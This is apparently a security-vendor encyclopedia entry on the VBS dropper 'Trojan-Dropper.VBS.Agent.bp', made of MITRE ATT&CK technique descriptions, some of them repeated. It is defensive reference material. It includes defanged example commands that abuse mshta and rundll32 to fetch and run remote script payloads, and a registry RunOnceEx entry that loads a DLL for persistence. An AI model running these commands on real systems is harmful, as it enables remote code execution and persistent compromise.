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Trojan-Dropper.VBS.Agent.bp

Class Trojan-Dropper
Platform VBS
Family Agent
Full name Trojan-Dropper.VBS.Agent.bp
Examples FDB3AD04C9E6B4DDEC5C092C67595BA2
6D3EBC83A762D6C2CBD938EFDAF21BE4
57B66BA12D32D7FF9F78547B40DB7594
1B4346827D19590D594881276AF38C2D
3405094D5EAF31A0905FCD05895477B2
Updated at 2023-12-30 15:15:24
Tactics &
techniques MITRE*

TA0001 Initial Access

The adversary is trying to get into your network.


Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.


T1091 Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

TA0002 Execution

The adversary is trying to run malicious code.


Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.


T1203 Exploitation for Client Execution

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

### Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

### Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The adversary is trying to run malicious code.


Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.


T1204.002 User Execution: Malicious File

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

TA0003 Persistence

The adversary is trying to maintain their foothold.


Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.


T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

TA0004 Privilege Escalation

The adversary is trying to gain higher-level permissions.


Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:


* SYSTEM/root level

* local administrator

* user account with admin-like access

* user accounts with access to specific system or perform specific function


These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.


T1055.001 Process Injection: Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

The adversary is trying to gain higher-level permissions.


Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:


* SYSTEM/root level

* local administrator

* user account with admin-like access

* user accounts with access to specific system or perform specific function


These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.


T1055.002 Process Injection: Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

The adversary is trying to gain higher-level permissions.


Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:


* SYSTEM/root level

* local administrator

* user account with admin-like access

* user accounts with access to specific system or perform specific function


These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.


T1134 Access Token Manipulation

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

The adversary is trying to gain higher-level permissions.


Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:


* SYSTEM/root level

* local administrator

* user account with admin-like access

* user accounts with access to specific system or perform specific function


These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.


T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

TA0005 Defense Evasion

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1036.005 Masquerading: Match Legitimate Name or Location

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1055.001 Process Injection: Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1055.002 Process Injection: Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1134 Access Token Manipulation

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1218.005 System Binary Proxy Execution: Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1218.007 System Binary Proxy Execution: Msiexec

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1218.011 System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1497.001 Virtualization/Sandbox Evasion: System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1562.001 Impair Defenses: Disable or Modify Tools

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)

Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)

On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)

In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.

Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)

Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1564.001 Hide Artifacts: Hidden Files and Directories

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

TA0006 Credential Access

The adversary is trying to steal account names and passwords.


Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.


T1003.001 OS Credential Dumping: LSASS Memory

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

